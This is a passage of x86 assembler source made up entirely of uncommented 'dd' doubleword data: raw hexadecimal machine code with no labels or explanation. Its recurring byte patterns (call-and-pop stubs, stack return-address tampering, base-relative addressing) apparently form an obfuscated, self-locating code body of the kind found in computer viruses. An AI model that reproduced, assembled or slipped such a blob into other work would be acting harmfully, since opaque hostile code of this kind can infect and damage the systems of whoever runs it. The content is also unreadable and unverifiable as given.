		dd 6A061Bh, 0B860Fh, 2B600000h,	1B1D599Dh, 0FEBF0F06h
		dd 0E9006A61h, 7, 0A65E189Bh, 0FFF513E8h, 1B2BE195h, 11858906h
		dd 89061B0Fh, 1B211185h, 8FB86006h, 8A4A385Eh, 26B661CBh
		dd 92B5FF6Ah, 2111B5FFh, 8589061Bh, 61B10B9h, 6FD78166h
		dd 595FF9Dh, 66061B08h,	2EEED281h, 958BC08Bh, 61B1A35h
		dd 23D1BD83h, 7500061Bh, 29BD8309h, 61B31h, 53501974h
		dd 0D1B8C08Bh, 89000007h, 1B2DA185h, 4D9D8D06h,	0FF061DA6h
		dd 83585BD3h, 1B3129BDh, 17740006h, 0D1B85350h,	89000007h
		dd 1B2DA185h, 3C9D8D06h, 0FF061DA3h, 0F585BD3h,	8B66D3BFh
		dd 0BAC08BD0h, 50ED30C2h, 239D85C6h, 8B47061Bh,	0F7C168D3h
		dd 0C98193C8h, 46ADF553h, 0F055F4B9h, 0F9B5FF09h, 6A061B2Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 7C3DC351h, 143A2881h, 858D9E7Dh, 61B391Fh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0E751A6C3h, 8E40C4C2h, 0B56A5193h, 0CE990h
		dd 0A1D50000h, 25170AFBh, 2A390ADDh, 6A502BE1h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0E53FC355h, 7403BB0Fh, 6830Fh, 8D0B0000h, 61B0895h
		dd 0FE81858Dh, 5660061Dh, 615EDC8Ah, 9400C7h, 8D8B0000h
		dd 61B13C9h, 8D0F58h, 8D000000h, 1DFE81B5h, 0DDBD8B06h
		dd 56061B2Eh, 0D0FFD38Bh, 0DADB529h, 858D061Bh,	61DFE81h
		dd 6047883h, 1C850Fh, 0BD8B0000h, 61B13BDh, 0C8BAC181h
		dd 85C77EA0h, 61DFF15h,	1, 0C9B96657h, 0BD835FC0h, 61B0D31h
		dd 3A850F00h, 8B000000h, 15BD83D1h, 61DFFh, 2B850Fh, 0BD830000h
		dd 61B11C1h, 1E840F00h,	89000000h, 1B10BD95h, 9185C706h
		dd 61B0Dh, 56000000h, 17118D8Bh, 315F061Bh, 1B14519Dh
		dd 0DB8C6606h, 25558D8Bh, 0C3F6061Bh, 0D2840F04h, 0E9000004h
		dd 11h,	8970DA4Ah, 0FF3BDA17h, 0E9B009D5h, 0B0C5AA3Ch
		dd 0D585C7D5h, 61B1Ch, 0F9000000h, 0FA6BBD80h, 0F00061Dh
		dd 0C85h, 9D8D8B00h, 8B061B12h,	1B2FD98Dh, 9D85C606h, 47061B23h
		dd 2E459D89h, 8668061Bh, 80E3E45Bh, 0B5FFCDC9h,	61B2BF9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AAC35141h
		dd 2C33E5FBh, 2B2AB966h, 391F858Dh, 800F061Bh, 6, 20F99D89h
		dd 890F061Bh, 6, 55E4E281h, 0D0FF4BBFh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 3CC35747h, 89CAEF14h
		dd 1B1BADBDh, 0C99D8906h, 68061B01h, 104h, 13E9h, 46FE0600h
		dd 127AC955h, 7C27C1DDh, 83090653h, 0F699CB73h,	0F459D8Dh
		dd 8B53061Bh, 0BAD0FFFAh, 1CDB108Ch, 0F45858Dh,	50F9061Bh
		dd 0FA1D858Dh, 0C981061Dh, 63DA464Eh, 6A50C88Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0E754C351h, 17E99529h, 858D061Bh, 61DF0F0h, 318D0160h
		dd 0F061B2Bh, 5061C6BFh, 21E99D89h, 95FF061Bh, 61B2D71h
		dd 6A0CC483h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6A82C351h, 806800h, 36A0000h
		dd 6A006Ah, 68h, 0F0858D80h, 50061DF0h,	2B2195FFh, 8589061Bh
		dd 61DFA00h, 239D85C6h,	6847061Bh, 0C7B15E87h, 2BF9B5FFh
		dd 858D061Bh, 61B391Fh,	6AD0FFh, 0FA00B5FFh, 0D0FF061Dh
		dd 1CD99589h, 0B589061Bh, 61B2C01h, 37D03Dh, 49830F00h
		dd 66000000h, 29056CB9h, 1B0CB185h, 0B5FF06h, 8A061DFAh
		dd 995FFD4h, 8B061B1Ah,	125E9D1h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 22373DC3h
		dd 30F59D89h, 0CF81061Bh, 508090ACh, 0FA00B5FFh, 6A061Dh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0A8EB59C3h, 0D68B6646h, 88B0Fh, 810F0000h, 2, 95FFFDB6h
		dd 61B1A09h, 89CFE580h,	1B2101B5h, 29006A06h, 1B0B8D9Dh
		dd 66006A06h, 6AC88Bh, 122D8D8Bh, 6A061Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 92C35343h, 8B095E05h
		dd 1B0B0995h, 8C0F6006h, 6, 8D0Fh, 0BD8B0000h, 61B28C9h
		dd 66006A61h, 6AA620BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0D08B6698h, 9BF1C181h
		dd 8166420Dh, 8D6738E1h, 1DFA0485h, 7E906h, 5F8F0000h
		dd 59E83CC7h, 665750CCh, 6C4EC981h, 2195FF59h, 1061B2Bh
		dd 1B1D418Dh, 0FFF88306h, 101850Fh, 6FB90000h, 8D25F8EEh
		dd 1DB59085h, 90B96606h, 90C3B995h, 0D0FF580Ah,	59D38A52h
		dd 8E0F006Ah, 6, 11C58D89h, 6A061Bh, 711BD8Bh, 6A061Bh
		dd 6ACB8Bh, 28CDBD89h, 6A061Bh,	0F006AF5h, 858DFBBFh, 61DFA04h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h
		dd 29022D89h, 1B2F1585h, 8D8B5006h, 61B19D1h, 2B2195FFh
		dd 8D89061Bh, 61B2B55h,	0FFFF883h, 7685h, 8DCE8B00h, 1DF40CB5h
		dd 0B4ED8006h, 9F7C858Dh, 6A061Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0D0168EC3h, 0A99DADE8h
		dd 0E813F2CEh, 0Eh, 1B037074h, 0C77FF495h, 700F141Ch, 9503CD94h
		dd 61B0BB1h, 0BAD0FF59h, 14A49B89h, 8151006Ah, 0A1F2FCD2h
		dd 0BF0F5A50h, 0BD95FFD0h, 89061B2Fh, 1B2ED595h, 0CD953306h
		dd 89061B0Bh, 1DFA0085h, 0FB8BFC06h, 0D08A006Ah, 0F9F8858Dh
		dd 0B529061Dh, 61B168Dh, 0D0B70F50h, 6A046Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B6AC7C3h
		dd 68B0FF8h, 29000000h,	1B01ED9Dh, 0B1858D06h, 0E9061B22h
		dd 0Ah,	0C64727A2h, 46EB5FC3h, 6A500678h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9530C355h
		dd 6AEAB5h, 6840Fh, 958B0000h, 61B1D39h, 6E9006Ah, 97000000h
		dd 0B296F2A3h, 0FF016AA3h, 1DFA00B5h, 0D18B6606h, 8E9h
		dd 7910C700h, 0E0D2A969h, 2595FFCAh, 66061B30h,	0FDE9CE8Bh
		dd 8B00001Bh, 1B17B995h, 0A7BF6606h, 6AC08B81h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 421DC356h, 0E8577F04h, 5A2BF0EAh, 10E8h, 10CD100h, 2F7F4C0Eh
		dd 288F2539h
		dd 0CC8B7F08h, 0FE8B6694h, 9CCA8159h, 834B11D1h, 1B23D1BDh
		dd 9750006h, 3129BD83h,	7400061Bh, 8B535019h, 7D2B8C0h
		dd 85890000h, 61B2DA1h,	0A64D9D8Dh, 0D3FF061Dh,	0BD83585Bh
		dd 61B3129h, 50177400h,	7D2B853h, 85890000h, 61B2DA1h
		dd 0A33C9D8Dh, 0D3FF061Dh, 0CE8A585Bh, 0B966C08Bh, 8166345Dh
		dd 0C7390BD2h, 1B1CD585h, 106h,	0BD8B5300h, 61B23A5h, 0E7B8685Ah
		dd 0B5FFCEE4h, 61B2DB9h, 391F858Dh, 0D0FF061Bh,	23AD8589h
		dd 0D468061Bh, 0FFC005DBh, 1B2DB9B5h, 1F858D06h, 0FF061B39h
		dd 0F18589D0h, 8D061B2Eh, 1DEEA985h, 0B5FF5006h, 61B2BF9h
		dd 2F2D95FFh, 0C00B061Bh, 0D88B0B74h, 0FE5C858Dh, 0FF50061Dh
		dd 5C858DD3h, 66061DFEh, 75093883h, 3585C70Ah, 1061B22h
		dd 0FF000000h, 1B169595h, 0FF2506h, 0F8830000h,	0C70A7305h
		dd 1B08BD85h, 106h, 6AFE8B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0F5B4C357h,	3A01806Ch
		dd 8B1FDA83h, 1B1199BDh, 0AE906h, 0F0B20000h, 1BB87043h
		dd 0F4451808h, 0FA6BBD80h, 0F00061Dh, 1685h, 918D8B00h
		dd 0E9061B17h, 1A6Ch, 859D8B60h, 80061B23h, 836168C4h
		dd 1B2235BDh, 850F0006h, 0DBh, 68F0Fh, 0B5890000h, 61B2431h
		dd 0FA35858Dh, 8B66061Dh, 8EB650F8h, 1BA016Ah, 6A0D6B63h
		dd 85315200h, 61B23C9h,	84F7B95Ah, 6A502Ch, 0C62E6EBFh
		dd 0FF41B110h, 1B2BE195h, 0DDBD8B06h, 89061B30h, 1DFA5F85h
		dd 81666006h, 0BAD602F3h, 7BB84ECEh, 66FF6A61h,	8D0FCF8Bh
		dd 12h,	0DE9h, 51900600h, 46C0AAA9h, 902052B7h,	0B5FFBA2Bh
		dd 61DFA5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	41C35747h, 7A66F9C4h, 9379BA39h, 5880F8Ah, 66000000h
		dd 67ACC181h, 0CE9h, 0ED71A000h, 906C25C4h, 5E077E87h
		dd 595FF9Bh, 0F061B08h,	1684h, 0BE800h,	84C50000h, 1884539Ah
		dd 98736201h, 556BBAF8h, 8D591E10h, 1DEE7085h, 13E906h
		dd 34350000h, 5FEB0615h, 79B4B803h, 0C8134DC5h,	2E5CF9AAh
		dd 0B531500Ch, 61B29D9h, 1A7195FFh, 6A061Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6AA08AC3h
		dd 0C4E04C29h, 0E91BFC6Eh, 11h,	254EB3F1h, 573BB21Eh, 1AE39814h
		dd 0DCFE5C29h, 0FA858977h, 3061DEEh, 1B304595h,	7D858D06h
		dd 6A061DEEh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 780EC356h, 0A1759A3Eh,	0A3EFE31Bh
		dd 76B0BF66h, 0AE850h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h
		dd 78D6BF60h, 0C2815110h, 46E33B76h, 0B5FF5F61h, 61DEEFAh
		dd 65D28166h, 2D95FFE4h, 0F061B2Fh, 8589FEB7h, 61B1099h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 6EC35040h
		dd 0E9609E78h, 7, 0DEAB2ED5h, 89C1EE25h, 1B0ED19Dh, 858D6106h
		dd 61DEEEBh, 3890Fh, 0B70F0000h, 0C58050C8h, 0FAB5FF02h
		dd 0E9061DEEh, 0Bh, 0BA6D6E97h,	0FCE65555h, 0FF9C57D3h
		dd 1B2F2D95h, 0F1816606h, 85898E10h, 61DEF0Eh, 73D3BF66h
		dd 0EECA858Dh, 6E9061Dh, 0D000000h, 1568015Eh, 0AE95012h
		dd 0AE000000h, 0B5472C0Ah, 269AC935h, 0FAB5FF3Eh, 6A061DEEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5276C356h, 95FF95A9h, 61B2F2Dh, 13E8h, 47F91700h
		dd 74B843F8h, 300698C1h, 0CA8C92FAh, 0E8DDA338h, 2DB5958Bh
		dd 895F061Bh, 1DEF0685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 1B4309C6h, 0B298D0Bh
		dd 858D061Bh, 61DEEBDh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0FAC35040h, 0FFB7E90Dh, 8B04B271h, 1B3315BDh
		dd 2810BA06h, 8B505FF4h, 1B21ED8Dh, 0FAB5FF06h,	6A061DEEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 62B0C353h, 0BA5A5DCCh, 0F921991Ch, 2F2D95FFh
		dd 0BA66061Bh, 85896268h, 61DEF0Ah, 0EED8858Dh,	8589061Dh
		dd 61B1431h, 9D8D2950h,	89061B22h, 1B30E5B5h, 0FAB5FF06h
		dd 66061DEEh, 0FF6A32BAh, 1B2F2D95h, 0B5858906h, 89061B1Bh
		dd 1B2E7D95h, 8C858D06h, 6A061DEEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0E68FC353h
		dd 9F5B0E96h, 0E9CB8B66h, 14h, 6B8F7Eh,	9B1D6E87h, 0BBED7EADh
		dd 0DC12D329h, 4D6C90CBh, 0F1958950h, 0FF061B11h, 1DEEFAB5h
		dd 2D95FF06h, 66061B2Fh, 8589FB8Bh, 61DEEFEh, 0BF0F5A57h
		dd 9B858DFFh, 66061DEEh, 509DA6B9h, 6660CC8Ah, 0FF61CA8Bh
		dd 1DEEFAB5h, 77E58006h, 58E0Fh, 81660000h, 0FF320ACFh
		dd 1B2F2D95h, 1A830F06h, 0E8000000h, 11h, 2305E93Bh, 861CF9EAh
		dd 0E0235BF2h, 0FE8D1635h, 0FEBF0F83h, 2858959h, 0B9061DEFh
		dd 719F2885h, 10468h, 4D958900h, 8D061B24h, 1DEF9285h
		dd 258D2906h, 50061B31h, 0D0D958Bh, 858D061Bh, 61DF096h
		dd 16A18D0Bh, 6A50061Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 311C357h, 0AA18874Ah
		dd 8B668C29h, 1D95FFC8h, 23061B2Ch, 1B18318Dh, 0FC08506h
		dd 2285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0DA58E6E9h, 8064C566h, 1DFA6BBDh
		dd 850F0006h, 39h, 525FF852h, 212DBD0Bh, 0E959061Bh, 1590h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h
		dd 0A136EC59h, 89F75116h, 1B067DB5h, 35BD8306h,	61B22h
		dd 1F850Fh, 7E90000h, 21000000h, 0E04E3418h, 0BD834CB6h
		dd 61DFF15h, 44840F00h,	29000000h, 1B02CD95h, 2F858D06h
		dd 1061DEFh, 1B19C59Dh,	9E906h,	5C240000h, 0A29ACDEBh
		dd 0E9D97A06h, 151Ch, 24C98D8Bh, 8B60061Bh, 1B02C98Dh
		dd 81952906h, 61061B11h, 12E9h,	5DEA8100h, 8D2EE79Ah, 1DEF1A85h
		dd 21958B06h, 50061B2Dh, 2810Fh, 0CE8B0000h, 0EF92858Dh
		dd 0B589061Dh, 61B0235h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 72A61853h, 55662A8Ch
		dd 0B18D3369h, 83061B07h, 1B2235BDh, 840F0006h,	3Bh, 0F5858B60h
		dd 81061B12h, 0F67F15DEh, 858D6103h, 61DF0B8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D6C35343h, 0E95FF957h
		dd 32h,	8DFFBF0Fh, 1DF0A185h, 49BD8B06h, 0E8061B1Ah, 7
		dd 0D5F819C7h, 0E95CEA5Ch, 11h,	6684417Bh, 213B545Fh, 0D05F0217h
		dd 0D284BD3Bh, 0F50598Dh, 385h,	8DDD8000h, 0D4E6BF66h
		dd 0F0F0858Dh, 6A061Dh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 5417B3C3h, 0F76D6D33h, 501BD980h
		dd 0FFF8EA80h, 1B2D7195h, 0BABA6006h, 0E87D944Ch, 5, 8DBC41C3h
		dd 0DE8BCh, 9C260000h, 21C61574h, 25DA2134h, 5E43D7A2h
		dd 0C483615Fh, 52006A10h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h
		dd 1504h, 0C3524200h, 0C08B3D11h, 10E8h, 20C2EB00h, 0DB1B960h
		dd 0DE9D32Eh, 79FE43D6h, 0BD835A1Fh, 61B23D1h, 83097500h
		dd 1B3129BDh, 19740006h, 0C08B5350h, 7D3B8h, 0A1858900h
		dd 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h, 29BD8358h, 61B31h
		dd 53501774h, 7D3B8h, 0A1858900h, 8D061B2Dh, 1DA33C9Dh
		dd 5BD3FF06h, 0ED958B58h, 0E9061B08h, 14h, 271EF01h, 0D749429h
		dd 0B98AB433h, 84FDE05Bh, 9914A692h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D64AB0C3h
		dd 0E84C91E2h, 81D1BF0Fh, 1DEF1ABDh, 65726F06h,	0C8840F61h
		dd 81000000h, 51F488CAh, 92858D1Dh, 50061DEFh, 0F0CF858Dh
		dd 8D50061Dh, 1DF0F085h, 95FF5006h, 61B2D71h, 0C60CC483h
		dd 1B239D85h, 4F684406h, 0FF96A318h, 1B2BF9B5h,	1F858D06h
		dd 0FF061B39h, 8DD88BD0h, 1DF0F085h, 0D3FF5006h, 0EF1A858Dh
		dd 8D50061Dh, 1DEF9285h, 0BD835006h, 61B2235h, 8D087400h
		dd 1DF0B885h, 8D06EB06h, 1DF0A185h, 858D5006h, 61DF0F0h
		dd 7195FF50h, 83061B2Dh, 6A10C4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F64A50C3h, 0E871531Dh
		dd 0Dh,	7F3FCB19h, 0BB1B1978h, 21556E8Fh, 8D0B60A9h, 61B0801h
		dd 8F0Fh, 5A610000h, 8166CA8Bh,	0FFB458EAh, 1B169595h
		dd 28D0F06h, 0B2000000h, 0FF2586h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 9FF66CC3h
		dd 7F04421Dh, 0BAEAE857h, 82D3F71h, 0C935C281h,	0F8830BBAh
		dd 7D830F05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 17EC355h, 0B19B4188h
		dd 0BD898BFFh, 61B2555h, 1C64B2BFh, 0BD85C71Ch,	1061B08h
		dd 81000000h, 0A1FC5FD2h, 4E858D51h, 6A061DEFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3A2CC350h, 9425FC00h, 0F524220h, 384h, 0F9BF0F00h, 66E95Ah
		dd 8D330000h, 61B2E8Dh,	2235BD83h, 0F00061Bh, 3984h, 8D235700h
		dd 61B24CDh, 8D8D295Fh,	8D061B29h, 1DEF7985h, 18810F06h
		dd 0E9000000h, 13h, 983D9990h, 0A4E51292h, 0B5B76F8Eh
		dd 0F50C65A5h, 0E942D954h, 1Ch,	858DEBB5h, 61DEF5Bh, 1CF9BD8Bh
		dd 8B60061Bh, 1B2A8D8Dh, 0E5B52306h, 61061B30h,	0EF8E8589h
		dd 6A061Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0F14298C3h, 8D34AD49h, 85958B24h,	83061B1Eh
		dd 1B2235BDh, 850F0006h, 18h, 10B19D31h, 0BD83061Bh, 61DFF15h
		dd 0D840F00h, 66000000h, 7148E181h, 10AFE9h, 0CFB70F00h
		dd 44BE9h, 0F88B6600h, 0FE9C08Bh, 59000000h, 59783F6Eh
		dd 3B37CCFCh, 818D6BFAh, 0BD316DCFh, 61B17DDh, 23D1BD83h
		dd 7500061Bh, 29BD8309h, 61B31h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 1B2DA185h, 4D9D8D06h, 0FF061DA6h,	83585BD3h
		dd 1B3129BDh, 17740006h, 0D4B85350h, 89000007h,	1B2DA185h
		dd 3C9D8D06h, 0FF061DA3h, 8B585BD3h, 0D9F7BAD6h, 0C08B6315h
		dd 1B61B501h, 3F68061Bh, 6A000F00h, 89006A00h, 1B19F59Dh
		dd 9995FF06h, 80061B10h, 0C08591F5h, 4850Fh, 0B9660000h
		dd 858980DDh, 61DEF12h,	6ACE8B66h, 0B9858900h, 31061B08h
		dd 1B0C2D85h, 0E8006A06h, 10h, 7E4880DDh, 664C6742h, 353A7D7h
		dd 0C96EBB0Ch, 14218D89h, 6A5F061Bh, 0BF66FC00h, 6A5EE8h
		dd 2B39B509h, 6A061Bh, 0CE9h, 35FC7000h, 88D508Ah, 0D43BB9AAh
		dd 0F0858DC1h, 6A061DF0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8963C351h, 1B089985h
		dd 8D8B5006h, 61B2285h,	6A016Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0F128DEC3h, 67D28166h
		dd 0F5016ADDh, 860F016Ah, 6, 94DCA81h, 14E84378h, 76000000h
		dd 768C7EEAh, 0BBD4029h, 0D7BA37C5h, 4FFE48Bh, 8B7F3B5Ah
		dd 1B0BDDBDh, 0FF685A06h, 60000F01h, 10E9h, 0D0793900h
		dd 47346F75h, 72238D4Dh, 0B2883C67h, 0BD8361F5h, 61B2235h
		dd 21840F00h, 8B000000h, 1B0B11BDh, 6F858D06h, 66061DEFh
		dd 3989CA81h, 24619589h, 0DE9061Bh, 0BA000000h,	76F62ACCh
		dd 0EF45858Dh, 0F88B061Dh, 0C1CF8150h, 507ED351h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 73C35141h, 0FE8BD8C2h
		dd 0EF12B5FFh, 9D29061Dh, 61B0F25h, 0EEFE95FFh,	9ABF061Dh
		dd 8544DC86h, 3C850FC0h, 0E9000000h, 9,	0BC24248Ch, 6F6B6C06h
		dd 11E8CAh, 410E0000h, 32DD5D21h, 433CD04Ah, 67B3D85Ch
		dd 31C4AED7h, 1B0A4D9Dh, 3CE95F06h, 8B000000h, 1B240595h
		dd 0B5958B06h, 89061B1Ch, 1DEF1685h, 0B5FFF906h, 61DEF16h
		dd 2E518D8Bh, 95FF061Bh, 61B1BB5h, 6C28166h, 59BF66CFh
		dd 0FC0851Bh, 685h, 0A9BD2B00h,	6A061B0Eh, 52006A10h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 8E1FE852h, 0B6B44FF0h, 8B666BA8h, 0BE8D1h, 64DA0000h
		dd 96593272h, 1517FA4Fh, 0CBBF0F87h, 0E280525Ah, 0BD835FD7h
		dd 61B2235h, 1C840F00h,	66000000h, 0B66434BFh, 6F858D9Fh
		dd 0FC061DEFh, 0FD853160h, 8B061B2Eh, 11E961CFh, 8D000000h
		dd 1DEF4585h, 6E906h, 4AD30000h, 966EBE77h, 0FFCB8A50h
		dd 1DEF12B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 737F00B3h, 0CB8BBD07h, 95952B60h
		dd 29061B12h, 1B25FD95h, 95FF6106h, 61DEF0Ah, 13E9h, 0AEB74200h
		dd 0CC3AB0E4h, 6B31EE15h, 0E6964EF2h, 9509A03Fh, 850FC085h
		dd 0Ch,	10DDBD89h, 958B061Bh, 61B1059h,	0EF168589h, 6A061Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD8BEDC3h, 61B1B4Dh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0FB8B74C3h, 12E8006Ah
		dd 73000000h, 6F7F8CBDh, 2EFAD41Eh, 0CBA4D002h,	0A5A7C958h
		dd 0DF81661Fh, 0FF5A8AC7h, 1DEF16B5h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 32E518A8h, 95FFEEA2h, 61DEF02h, 1A9D9589h, 0C085061Bh
		dd 1D850Fh, 14E80000h, 0FB000000h, 6E458A38h, 5FD3C473h
		dd 0DEE9823Bh, 16BC149Bh, 0FAF3D46h, 0FF59D2B7h, 1DEF16B5h
		dd 0F5D4B906h, 0BA6613C5h, 95FF51EDh, 61B1BB5h,	2870Fh
		dd 0E8B10000h, 850FC085h, 0
		dd 72B1006Ah, 8068h, 0F7816600h, 36AD6FFh, 10E9h, 7ADC9300h
		dd 0D60656B7h, 8EE11756h, 0F8B072A2h, 8B006AB2h, 1B1AA595h
		dd 0BA006A06h, 48418AA8h, 68h, 53006AC0h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 9F81BDA6h
		dd 5C23F73Eh, 8166A7B8h, 0FF3FCCC9h, 1DEF8EB5h,	0F7816606h
		dd 95FF7720h, 61B2B21h,	5E9h, 343E0A00h, 0F8832B84h, 0EA850FFFh
		dd 0B6000004h, 0FC85FF20h, 0F061DF9h, 0BD83CBBFh, 61DF9FCh
		dd 91840F02h, 0B9000003h, 12A35DB4h, 1559503h, 858D061Bh
		dd 5AF59Fh, 2D81B589h, 0D0FF061Bh, 3C20D981h, 858D7D62h
		dd 5AEFF2h, 11860Fh, 0CE90000h,	0E0000000h, 0F7EA1979h
		dd 6901C12Fh, 0FFCDBBC1h, 0E1952BD0h, 8B061B08h, 6820FC0h
		dd 89000000h, 1B118D8Dh, 0D1BD8306h, 61B23h, 0BD830975h
		dd 61B3129h, 50197400h,	0B8C08B53h, 7D8h, 2DA18589h, 9D8D061Bh
		dd 61DA64Dh, 585BD3FFh,	3129BD83h, 7400061Bh, 0B8535017h
		dd 7D8h, 2DA18589h, 9D8D061Bh, 61DA33Ch, 585BD3FFh, 6C81EF81h
		dd 6A4A11h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 3FC40FC3h, 958BC08Bh, 61B104Dh, 0DAE78166h
		dd 3F6844h, 8166000Fh, 6A6C0AD2h, 8D8B5000h, 61B2501h
		dd 89006A5Ah, 1B1B7DBDh, 0CF8B6606h, 109995FFh,	6A061Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3A6938C3h, 13E8h, 97750800h,	48027647h, 6881010h, 5F38D6A0h
		dd 5731E236h, 3035B589h, 0B959061Bh, 75A6ACC7h,	6A76ACBFh
		dd 8BC0850Fh, 1B1D418Dh, 12858906h, 66061DEFh, 68C22ABFh
		dd 0F01FFh, 35BD83F9h, 61B22h, 43840Fh,	9E80000h, 0A9000000h
		dd 860FFA17h, 0F95455B3h, 18D0Fh, 5AF90000h, 0EF6F858Dh
		dd 6A061Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B5894DC3h, 61B30F5h, 11E9h, 45858D00h, 0E9061DEFh
		dd 6, 0DBF45115h, 29504982h, 1B1A0DB5h,	12B5FF06h, 0F061DEFh
		dd 68Bh, 0B1B50900h, 0FF061B13h, 1DEF0A95h, 0D18B6606h
		dd 68DBD8Bh, 8589061Bh,	61DEF16h, 0C0D8501h, 0B589061Bh
		dd 61B20F1h, 255985C7h,	61Bh, 0C88B0000h, 0EF16BD83h, 0F00061Dh
		dd 16184h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 86EF00C3h, 0F281E993h, 7C9CD3A1h
		dd 0F1F4858Dh, 850F061Dh, 1, 8A0F50F9h,	6, 25D58589h, 16A061Bh
		dd 0DF9958Bh, 0B5FF061Bh, 61DEF16h, 0BD89F860h,	61B326Dh
		dd 0E95FF61h, 89061DEFh, 1B2FA5B5h, 16B5FF06h, 66061DEFh
		dd 95FAEF81h, 1BB595FFh, 43B9061Bh, 680C56D4h, 0F01FFh
		dd 0CE9h, 0D0063800h, 0EC2D7BB8h, 0EF6D95AAh, 35BD830Dh
		dd 61B22h, 22840Fh, 0BF660000h,	858D48C2h, 61DEF6Fh, 2FB9B589h
		dd 8B0F061Bh, 3, 0E9D0B70Fh, 35h, 5AD08B52h, 0EF45858Dh
		dd 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0A19623C3h, 9A86F476h, 8B8707ADh,	1B07618Dh
		dd 50B55006h, 0FFD3B70Fh, 1DEF12B5h, 0F9BD8B06h, 0FF061B02h
		dd 1DEF0A95h, 0F3BF6606h, 16858991h, 0FF061DEFh, 1DEF16B5h
		dd 0CBB70F06h, 0EF0695FFh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ECE3C3h
		dd 0A23C21BEh, 8D8B9908h, 61B0BCDh, 0EF16B5FFh,	0BF66061Dh
		dd 95FFBF63h, 61B1BB5h,	11F58D8Bh, 0ADE9061Bh, 6AFFFFF7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
